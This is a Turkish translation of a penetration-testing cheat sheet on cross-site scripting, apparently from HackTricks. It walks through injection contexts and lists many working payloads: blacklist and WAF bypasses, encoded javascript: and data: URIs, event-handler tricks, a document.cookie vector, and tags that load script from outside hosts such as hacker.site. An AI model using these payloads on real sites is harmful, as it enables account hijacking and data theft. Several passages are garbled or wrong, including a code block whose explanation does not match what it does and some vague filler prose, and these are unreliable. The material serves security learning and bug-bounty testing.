.. | ||
abusing-service-workers.md | ||
chrome-cache-to-xss.md | ||
debugging-client-side-js.md | ||
dom-clobbering.md | ||
dom-invader.md | ||
dom-xss.md | ||
iframes-in-xss-and-csp.md | ||
js-hoisting.md | ||
other-js-tricks.md | ||
pdf-injection.md | ||
README.md | ||
server-side-xss-dynamic-pdf.md | ||
shadow-dom.md | ||
sniff-leak.md | ||
some-same-origin-method-execution.md | ||
steal-info-js.md | ||
xss-in-markdown.md |
XSS (Cross Site Scripting)
/
Bug bounty ipucu: Intigriti'ye kaydolun, hackerlar tarafından oluşturulan bir premium bug bounty platformu! Bugün https://go.intigriti.com/hacktricks adresine katılın ve $100,000'e kadar ödüller kazanmaya başlayın!
{% embed url="https://go.intigriti.com/hacktricks" %}
Metodoloji
- Kontrol ettiğiniz herhangi bir değerin (parametreler, yol, başlıklar?, çerezler?) HTML'de yansıtılıp yansıtılmadığını veya JS kodu tarafından kullanılıp kullanılmadığını kontrol edin.
- Yansıtıldığı/kullanıldığı bağlamı bulun.
- Eğer yansıtılıyorsa
- Hangi sembolleri kullanabileceğinizi kontrol edin ve buna bağlı olarak payload'ı hazırlayın:
- Ham HTML içinde:
- Yeni HTML etiketleri oluşturabilir misiniz?
javascript:
protokolünü destekleyen olaylar veya öznitelikler kullanabilir misiniz?- Korumaları aşabilir misiniz?
- HTML içeriği herhangi bir istemci tarafı JS motoru tarafından yorumlanıyor mu (AngularJS, VueJS, Mavo...), İstemci Tarafı Şablon Enjeksiyonu kullanabilirsiniz.
- JS kodu çalıştıran bir HTML etiketi içinde:
- Ham HTML bağlamına çıkabilir misiniz?
- JS kodu çalıştırmak için yeni olaylar/öznitelikler oluşturabilir misiniz?
- Sıkıştığınız özniteliğin JS yürütmesini destekleyip desteklemediği?
- Korumaları aşabilir misiniz?
- JavaScript kodu içinde:
<script>
etiketinden kaçabilir misiniz?- Dizgiyi kaçırabilir ve farklı JS kodu çalıştırabilir misiniz?
- Girişiniz şablon dizelerinde mi ``?
- Korumaları aşabilir misiniz?
- Yürütülen JavaScript fonksiyonu
- Yürütülecek fonksiyonun adını belirtebilirsiniz. Örneğin:
?callback=alert(1)
- Kullanılıyorsa:
- DOM XSS'i sömürebilirsiniz, girişinizin nasıl kontrol edildiğine ve kontrol edilen girişinizin herhangi bir sızıntıya neden olup olmadığına dikkat edin.
Karmaşık bir XSS üzerinde çalışırken aşağıdakiler hakkında bilgi sahibi olmanız ilginç olabilir:
{% content-ref url="debugging-client-side-js.md" %} debugging-client-side-js.md {% endcontent-ref %}
Yansıtılan değerler
Bir XSS'yi başarıyla sömürmek için bulmanız gereken ilk şey, web sayfasında siz tarafından kontrol edilen bir değerin yansıtılıyor olmasıdır.
- Ara sıra yansıtılıyor: Bir parametrenin veya hatta yolun web sayfasında yansıtıldığını bulursanız, bir Yansıtılan XSS sömürebilirsiniz.
- Depolanıyor ve yansıtılıyor: Siz tarafından kontrol edilen bir değerin sunucuda kaydedildiğini ve her sayfaya eriştiğinizde yansıtıldığını bulursanız, bir Depolanan XSS sömürebilirsiniz.
- JS kullanılarak erişiliyor: Siz tarafından kontrol edilen bir değerin JS kullanılarak erişildiğini bulursanız, bir DOM XSS sömürebilirsiniz.
Bağlamlar
Bir XSS'yi sömürmeye çalışırken ilk bilmeniz gereken şey, girişinizin nerede yansıtıldığıdır. Bağlama bağlı olarak, farklı yollarla keyfi JS kodu yürütebilirsiniz.
Ham HTML
Eğer girişiniz ham HTML sayfasında yansıtılıyorsa, JS kodu yürütmek için bazı HTML etiketlerini kötüye kullanmanız gerekecektir: <img , <iframe , <svg , <script
... bunlar sadece kullanabileceğiniz birçok HTML etiketinden bazılarıdır.
Ayrıca, İstemci Tarafı Şablon Enjeksiyonu'nu da göz önünde bulundurun.
HTML etiketinin özniteliği içinde
Girişiniz bir etiketin özniteliğinin değeri içinde yansıtılıyorsa şunları deneyebilirsiniz:
- Özniteliğin ve etiketin içinden kaçmaya çalışmak (böylece ham HTML içinde olursunuz) ve kötüye kullanmak için yeni HTML etiketi oluşturmak:
"><img [...]
- Eğer öznitelikten kaçabilirsiniz, ancak etiketten kaçamazsanız (
>
kodlanmış veya silinmişse), etikete bağlı olarak JS kodu yürüten bir olay oluşturabilirsiniz:" autofocus onfocus=alert(1) x="
- Özniteliğin içinden kaçamazsanız (
"
kodlanıyor veya siliniyor), o zaman hangi özniteliğin değerinizin yansıtıldığına bağlı olarak tüm değeri mi yoksa sadece bir kısmını mı kontrol ettiğinizi kontrol ederek kötüye kullanabilirsiniz. Örneğin,onclick=
gibi bir olayı kontrol ediyorsanız, tıklanıldığında keyfi kodu çalıştırabilirsiniz. Başka bir ilginç örnek,href
özniteliğidir, buradajavascript:
protokolünü kullanarak keyfi kodu çalıştırabilirsiniz:href="javascript:alert(1)"
- Girişiniz "sömürülemez etiketlerin" içinde yansıtılıyorsa, zafiyeti kötüye kullanmak için
accesskey
hilesini deneyebilirsiniz (bunun için bir tür sosyal mühendislik gerekecektir):" accesskey="x" onclick="alert(1)" x="
JavaScript kodu içinde
Bu durumda girişiniz, bir HTML sayfasının <script> [...] </script>
etiketleri arasında, bir .js
dosyasının içinde veya javascript:
protokolünü kullanarak bir özniteliğin içinde yansıtılır:
<script> [...] </script>
etiketleri arasında yansıtılıyorsa, girişiniz herhangi bir tırnak içinde olsa bile,</script>
enjekte etmeyi deneyebilir ve bu bağlamdan kaçabilirsiniz. Bu, tarayıcının önce HTML etiketlerini ayrıştıracağı ve ardından içeriği ayrıştıracağı için, enjekte ettiğiniz</script>
etiketinin HTML kodunun içinde olduğunu fark etmeyecektir.- Eğer bir JS dizisi içinde yansıtılıyorsa ve yukarıdaki hile işe yaramıyorsa, dizeden çıkmak, kodunuzu çalıştırmak ve JS kodunu yeniden oluşturmak gerekecektir (herhangi bir hata olursa, çalıştırılmaz):
'-alert(1)-'
';-alert(1)//
\';alert(1)//
- Şablon dizeleri içinde yansıtılıyorsa,
${ ... }
sözdizimini kullanarak JS ifadelerini yerleştirebilirsiniz:var greetings = `Merhaba, ${alert(1)}`
- Unicode kodlaması, geçerli javascript kodu yazmak için çalışır:
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
Javascript Hoisting
Javascript Hoisting, JavaScript Hoisting olarak da bilinen, kullanılmadan önce fonksiyonları, değişkenleri veya sınıfları bildirme olanağı sağlar, böylece XSS'in bildirilmemiş değişkenleri veya fonksiyonları kullandığı senaryolarda istismar edilebilir.
Daha fazla bilgi için aşağıdaki sayfaya bakın:
{% content-ref url="js-hoisting.md" %} js-hoisting.md {% endcontent-ref %}
Javascript Fonksiyonu
Birçok web sayfası, çalıştırılacak fonksiyonun adını parametre olarak kabul eder. Yaban hayatında sıkça görülen bir örnek, ?callback=callbackFunc
gibi bir şeydir.
Bir kullanıcı tarafından doğrudan verilen bir şeyin çalıştırılmaya çalışıldığını anlamanın iyi bir yolu, parametre değerini değiştirmek (örneğin 'Vulnerable' olarak değiştirmek) ve konsolda aşağıdaki gibi hatalara bakmaktır:
Eğer bu durumda açık varsa, sadece ?callback=alert(1)
değerini göndererek bir uyarı tetikleyebilirsiniz. Bununla birlikte, bu uç noktaların içeriği harfleri, rakamları, noktaları ve alt çizgileri ([\w\._]
) yalnızca kabul etmek için doğrulayacağı çok yaygındır.
Ancak, bu sınırlamaya rağmen bazı işlemler gerçekleştirmek hala mümkündür. Bu, geçerli karakterleri kullanarak DOM'daki herhangi bir öğeye erişebileceğiniz anlamına gelir:
Bunun için bazı kullanışlı fonksiyonlar:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
Ayrıca, Javascript fonksiyonlarını doğrudan tetiklemeyi deneyebilirsiniz: obj.sales.delOrders
.
Ancak genellikle belirtilen fonksiyonu çalıştıran uç noktalar, pek ilginç DOM'a sahip olmayan uç noktalardır, aynı kökten diğer sayfalar daha ilginç bir DOM'a sahip olacak ve daha fazla işlem yapmak için kullanılabilir.
Bu nedenle, bu zafiyeti farklı bir DOM'da kötüye kullanmak için Aynı Kök Yöntem Yürütme (SOME) saldırısı geliştirilmiştir:
{% content-ref url="some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}
DOM
Bir saldırganın, location.href
gibi saldırgan tarafından kontrol edilen verileri güvensiz bir şekilde kullanan JS kodu bulunmaktadır. Bir saldırgan, bunu kötüye kullanarak keyfi JS kodunu çalıştırabilir.
{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}
Evrensel XSS
Bu tür XSS'ler herhangi bir yerde bulunabilir. Bunlar, bir web uygulamasının istemci tarafı saldırısına değil, herhangi bir bağlama bağlıdır. Bu tür keyfi JavaScript yürütme hatta RCE elde etmek, istemci ve sunucularda keyfi dosyaları okumak ve daha fazlasını elde etmek için kullanılabilir.
Bazı örnekler:
{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}
{% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} electron-desktop-apps {% endcontent-ref %}
WAF bypass encoding image
Raw HTML içine enjekte etme
Girişiniz HTML sayfasının içine yansıtılıyorsa veya bu bağlamda HTML kodunu kaçırabilir ve enjekte edebilirseniz, ilk yapmanız gereken şey <
işaretini kullanarak yeni etiketler oluşturup oluşturamayacağınızı kontrol etmektir: Sadece bu karakteri yansıtın ve HTML kodlaması yapıldı mı yoksa silindi mi yoksa değişiklik yapılmadan yansıtıldı mı kontrol edin. Sadece son durumda bu durumu kötüye kullanabilirsiniz.
Bu durumlar için ayrıca İstemci Tarafı Şablon Enjeksiyonu'i de göz önünde bulundurun.
Not: Bir HTML yorumu -->
veya --!>
kullanılarak kapatılabilir.
Bu durumda ve siyah/beyaz liste kullanılmıyorsa, şu gibi payloadlar kullanabilirsiniz:
<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>
Ancak, etiket/özellik siyah/beyaz listeleme kullanılıyorsa, oluşturabileceğiniz etiketleri brute-force yapmanız gerekecektir.
Hangi etiketlerin izin verildiğini bulduktan sonra, bulunan geçerli etiketler içindeki özellikleri/olayları brute-force yaparak bağlamı nasıl saldırabileceğinizi görmelisiniz.
Etiketler/Olaylar brute-force
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet adresine gidin ve Etiketleri panoya kopyala seçeneğine tıklayın. Ardından, hepsini Burp intruder kullanarak gönderin ve WAF tarafından zararlı olarak tespit edilmeyen herhangi bir etiketin olup olmadığını kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak tüm olayları brute-force yapabilirsiniz (aynı web sayfasında Olayları panoya kopyala seçeneğine tıklayın ve önceki işlemi tekrarlayın).
Özel etiketler
Geçerli bir HTML etiketi bulamadıysanız, özel bir etiket oluşturmayı deneyebilir ve onfocus
özelliğiyle JS kodunu çalıştırabilirsiniz. XSS isteğinde, sayfanın o nesneye odaklanmasını ve kodun çalıştırılmasını sağlamak için URL'yi #
ile bitirmeniz gerekmektedir.
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Kara Liste Atlamaları
Eğer bir tür kara liste kullanılıyorsa, bazı aptalca hilelerle onu atlamanız denenebilir:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Uzunluk bypass (küçük XSS'ler)
{% hint style="info" %} Farklı ortamlar için daha küçük XSS'ler payload burada bulunabilir ve burada. {% endhint %}
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>
Sonuncusu 5 karaktere genişleyen 2 Unicode karakteri kullanmaktır: telsr
Bu karakterlerin daha fazlası burada bulunabilir.
Hangi karakterlerin ayrıştırıldığını kontrol etmek için buraya bakabilirsiniz.
XSS Tıklama - Clickjacking
Zafiyeti sömürmek için kullanıcının bir bağlantıya veya bir forma tıklaması gerekiyorsa, Clickjacking'i (sayfa zafiyetliyse) kötüye kullanmayı deneyebilirsiniz.
İmkansız - Sarkan İşaretleme
Sadece JS kodunu yürütmek için bir özniteliğe sahip bir HTML etiketi oluşturmanın imkansız olduğunu düşünüyorsanız, Sarkan İşaretleme kontrol etmelisiniz çünkü JS kodunu yürütmeksizin zafiyeti sömürebilirsiniz.
HTML etiketi içine enjekte etme
Etiketin içinde/öznitelik değerinden kaçma
Eğer bir HTML etiketi içindeyseniz, ilk deneyebileceğiniz şey etiketten kaçmak ve JS kodunu yürütmek için önceki bölümde bahsedilen tekniklerden bazılarını kullanmaktır.
Eğer etiketten kaçamıyorsanız, etiketin içine yeni öznitelikler oluşturarak JS kodunu yürütmeyi deneyebilirsiniz, örneğin aşağıdaki gibi bir payload kullanarak (bu örnekte çift tırnaklar öznitelikten kaçmak için kullanılmıştır, girişiniz doğrudan etiketin içine yansıtılıyorsa bunlara ihtiyacınız olmayacaktır):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Stil Olayları
Style olayları, Cross-Site Scripting (XSS) saldırılarında kullanılan bir tekniktir. Bu saldırıda, kötü niyetli bir saldırgan, hedef web uygulamasına zararlı bir kod enjekte ederek kullanıcıların tarayıcılarında istenmeyen stil değişiklikleri yapabilir.
Bu saldırı tekniği, HTML etiketlerindeki "style" özelliğini hedef alır. Saldırgan, bu özelliği kullanarak tarayıcıda istediği stil değişikliklerini yapabilir. Örneğin, saldırgan bir metin kutusuna zararlı bir kod enjekte ederek, kullanıcıların tarayıcılarında arka plan rengini değiştirebilir veya metin boyutunu büyütebilir.
Bu saldırı türü, kullanıcıların güvenliğini tehlikeye atabilir ve hassas bilgilerin çalınmasına yol açabilir. Web uygulamalarının güvenliğini sağlamak için, geliştiricilerin giriş verilerini doğrulamaları ve kullanıcı girişlerini güvenli bir şekilde işlemeleri önemlidir.
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Öznitelik İçinde
Eğer öznitelikten kaçamıyorsanız ("
kodlanıyor veya siliniyor), hangi özniteliğe değerin yansıtıldığına bağlı olarak, tüm değeri mi yoksa sadece bir kısmını mı kontrol ettiğinize bağlı olarak bunu istismar edebilirsiniz. Örneğin, onclick=
gibi bir etkinliği kontrol ediyorsanız, tıklanıldığında keyfi kodu çalıştırabilirsiniz.
Başka bir ilginç örnek, keyfi kodu çalıştırmak için javascript:
protokolünü kullanabileceğiniz href
özniteliğidir: href="javascript:alert(1)"
HTML kodlama/URL kodlama kullanarak etkinlik içinde atlamayı geçmek
HTML etiketlerinin öznitelik değerleri içindeki HTML kodlanmış karakterler çalışma zamanında çözümlenir. Bu nedenle aşağıdaki gibi bir şey geçerli olacaktır (payload kalın olarak belirtilmiştir): <a id="author" href="http://none" onclick="var tracker='http://foo?
'-alert(1)-'
';">Go Back </a>
Dikkat edin, her türlü HTML kodlaması geçerlidir:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Not: URL kodlaması da çalışacaktır:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Unicode kodlaması kullanarak iç etkinliği atlamak
Bazı durumlarda, iç etkinlikleri atlamak için Unicode kodlamasını kullanabilirsiniz. Bu, XSS saldırılarında etkili bir yöntemdir. İç etkinlikler, XSS filtrelerinin çalışmasını engellemek için kullanılan bir tekniktir. Unicode kodlaması, karakterleri farklı bir biçimde temsil etmenizi sağlar ve bu da filtreleri atlamanıza yardımcı olabilir.
Örneğin, <script>
etiketi içindeki onload
etkinliğini atlamak için Unicode kodlamasını kullanabilirsiniz. Aşağıdaki örnek, bu yöntemi nasıl kullanacağınızı göstermektedir:
<script>
var payload = String.fromCharCode(111, 110, 108, 111, 97, 100);
var event = String.fromCharCode(108, 111, 97, 100);
var script = document.createElement(String.fromCharCode(115, 99, 114, 105, 112, 116));
script.innerHTML = payload;
script.setAttribute(String.fromCharCode(111, 110, 108, 111, 97, 100), event);
document.body.appendChild(script);
</script>
Bu kod parçası, <script>
etiketi içindeki onload
etkinliğini atlamak için Unicode kodlamasını kullanır. payload
değişkeni, onload
etkinliğinde çalışacak olan JavaScript kodunu temsil eder. event
değişkeni ise atlanacak olan etkinliği temsil eder. script
değişkeni, yeni bir <script>
etiketi oluşturur ve içine payload
değişkenini yerleştirir. Son olarak, setAttribute
yöntemi kullanılarak onload
etkinliği atlanır ve <script>
etiketi sayfaya eklenir.
Bu yöntem, Unicode kodlamasını kullanarak iç etkinlikleri atlamak için etkili bir yol sağlar. Ancak, herhangi bir XSS filtresi tarafından engellenmediğinden emin olmalısınız.
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Özellik İçindeki Özel Protokoller
Bazı yerlerde javascript:
veya data:
protokollerini kullanarak keyfi JS kodunu çalıştırabilirsiniz. Bazıları kullanıcı etkileşimi gerektirecekken, bazıları gerektirmeyecektir.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascriptΪlert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Bu protokolleri enjekte edebileceğiniz yerler
Genel olarak javascript:
protokolü, href
özelliğini kabul eden herhangi bir etikette ve src
özelliğini kabul eden çoğu etikette (ancak <img
etiketinde değil) kullanılabilir.
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Diğer obfuskasyon hileleri
Bu durumda, önceki bölümdeki HTML kodlama ve Unicode kodlama hilesi de geçerlidir çünkü bir öznitelik içindesiniz.
<a href="javascript:var a=''-alert(1)-''">
Ayrıca, bu durumlar için başka bir güzel hile daha vardır: Girdiniz javascript:...
içinde URL kodlanmış olsa bile, çalıştırılmadan önce URL kod çözme işlemine tabi tutulur. Dolayısıyla, bir tek tırnak kullanarak diziden kaçmanız gerekiyorsa ve bunun URL kodlandığını görüyorsanız, önemli değil, yürütme sırasında bir tek tırnak olarak yorumlanacaktır.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Not: Eğer hem URLencode + HTMLencode
'u herhangi bir sırayla kullanmaya çalışırsanız, çalışmayacaktır, ancak bunları payload içinde karıştırabilirsiniz.
javascript:
ile Hex ve Octal kodlama kullanma
iframe
'ın src
özniteliği içinde Hex ve Octal kodlama kullanarak JS'yi çalıştırmak için HTML etiketleri bildirebilirsiniz:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Ters sekme çalma
Reverse tab nabbing, bir saldırganın hedef kullanıcının tarayıcısında açık olan bir sekmenin içeriğini değiştirerek kullanıcının bilgilerini çalmak için kullandığı bir XSS saldırı tekniğidir. Bu saldırı tekniği, kullanıcının güvendiği bir web sitesindeki kötü niyetli bir bağlantıya tıklamasıyla gerçekleştirilebilir.
Saldırgan, hedef kullanıcının tarayıcısında açık olan bir sekmenin içeriğini değiştirerek, kullanıcının güvendiği bir web sitesine benzeyen bir sahte giriş formu veya başka bir etkileşimli bileşen sunabilir. Kullanıcı bu sahte bileşene bilgilerini girdiğinde, saldırgan bu bilgileri ele geçirebilir.
Bu saldırı tekniğinden korunmanın en iyi yolu, güvenilir olmayan bağlantılara tıklamamak ve tarayıcınızı güncel tutmaktır. Ayrıca, web sitelerinin güvenlik önlemlerini takip etmek ve kullanıcılarına güvenli bir şekilde bilgi girişi yapmalarını sağlamak da önemlidir.
<a target="_blank" rel="opener"
Eğer herhangi bir <a href=
etiketinde target="_blank"
ve rel="opener"
özniteliklerini içeren herhangi bir URL enjekte edebiliyorsanız, bu davranışı istismar etmek için aşağıdaki sayfaya bakın:
{% content-ref url="../reverse-tab-nabbing.md" %} reverse-tab-nabbing.md {% endcontent-ref %}
Olay İşleyicileri Bypass
Öncelikle, kullanışlı "on" olay işleyicileri için bu sayfayı kontrol edin (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet).
Eğer bu olay işleyicilerini oluşturmanızı engelleyen bir siyah liste varsa, aşağıdaki bypassları deneyebilirsiniz:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
"Kullanılamaz etiketlerde" XSS (gizli giriş, bağlantı, kanonik, meta)
Buradan artık gizli girişleri istismar etmek mümkün:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
Ve meta etiketlerinde ise:
<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
Buradan alıntılanmıştır: Gizli bir özniteliğin içinde bir XSS saldırı yükü çalıştırabilirsiniz, ancak bunu yapabilmek için kurbanı ikna etmeniz gerekmektedir. Firefox Windows/Linux üzerindeki tuş kombinasyonu ALT+SHIFT+X iken, OS X üzerinde CTRL+ALT+X tuş kombinasyonudur. Erişim tuşu özniteliğinde farklı bir tuş kullanarak farklı bir tuş kombinasyonu belirleyebilirsiniz. İşte vektör:
<input type="hidden" accesskey="X" onclick="alert(1)">
XSS yükü şu şekilde olacaktır: " accesskey="x" onclick="alert(1)" x="
Kara Liste Atlamaları
Bu bölümde farklı kodlama yöntemleri kullanarak yapılan birkaç hile açıklandı. Aşağıdaki yerlerde neler yapabileceğinizi öğrenmek için geri dönün:
- HTML kodlaması (HTML etiketleri)
- Unicode kodlaması (geçerli JS kodu olabilir):
\u0061lert(1)
- URL kodlaması
- Hex ve Octal kodlaması
- veri kodlaması
HTML etiketleri ve öznitelikleri için Atlamalar
Önceki bölümdeki Kara Liste Atlamalarını okuyun.
JavaScript kodu için Atlamalar
Aşağıdaki bölümdeki JavaScript kara liste atlama tekniklerini okuyun.
CSS-Gadget'lar
Eğer web sayfasının çok küçük bir bölümünde (belki de alt bilgide küçük bir bağlantıda onmouseover öğesi gibi) bir XSS bulduysanız, bağlantının tetiklenme olasılığını maksimize etmek için elementin kapladığı alanı değiştirmeyi deneyebilirsiniz.
Örneğin, elemente şu şekilde bazı stiller ekleyebilirsiniz: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Ancak, WAF stil özniteliğini filtreliyorsa, CSS Stil Gadget'larını kullanabilirsiniz. Örneğin,
.test {display:block; color: blue; width: 100%}
ve
#someid {top: 0; font-family: Tahoma;}
Şimdi bağlantımızı değiştirebilir ve şu şekle getirebilirsiniz:
<a href="" id=someid class=test onclick=alert() a="">
Bu hile, https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703 adresinden alınmıştır.
JavaScript kodu içine enjekte etme
Bu durumda, girdiniz, .js
dosyasının veya <script>...</script>
etiketlerinin içinde veya JS kodu çalıştırabilen HTML olayları veya javascript:
protokolünü kabul eden özniteliklerin içinde JS kodunun içine yansıtılacaktır.
<script> etiketinden kaçma
Kodunuz <script> [...] var input = 'yansıyan veri' [...] </script>
içine yerleştirildiyse, <script> etiketini kolayca kaçırabilirsiniz:
</script><img src=1 onerror=alert(document.domain)>
Bu örnekte bile tek tırnak kapatılmamıştır. Bu, tarayıcı tarafından önce HTML ayrıştırmasının gerçekleştirildiği anlamına gelir. Bu ayrıştırma işlemi, betik bloklarını da içeren sayfa öğelerini tanımlamayı içerir. Gömülü betikleri anlamak ve yürütmek için JavaScript'in ayrıştırılması yalnızca daha sonra gerçekleştirilir.
JS kodu içinde
Eğer <>
karakterleri temizleniyorsa, girişinizi yerleştirildiği yerde kaçış karakteri kullanarak keyfi JS kodu çalıştırabilirsiniz. JS sözdizimini düzeltmek önemlidir, çünkü herhangi bir hata varsa, JS kodu çalıştırılmaz.
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
Şablon dizeleri ``
JS, tek tırnak ve çift tırnaklardan farklı olarak ters tırnakları ``
da kabul ederek dizeleri oluşturmak için kullanır. Bu, ${ ... }
sözdizimini kullanarak JS ifadelerini gömme izni verdiği için şablon dizeleri olarak bilinir.
Bu nedenle, girişinizin ters tırnak kullanan bir JS dizesi içinde yansıtıldığını fark ederseniz, sözdizimini ${ ... }
kullanarak keyfi JS kodunu çalıştırabilirsiniz:
Bu, şu şekilde kötüye kullanılabilir:
`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````
Kodun Kodlanmış Şekilde Çalıştırılması
This technique involves encoding malicious code in a way that it bypasses input validation and executes on the target system. By encoding the code, it becomes more difficult for security measures to detect and block it.
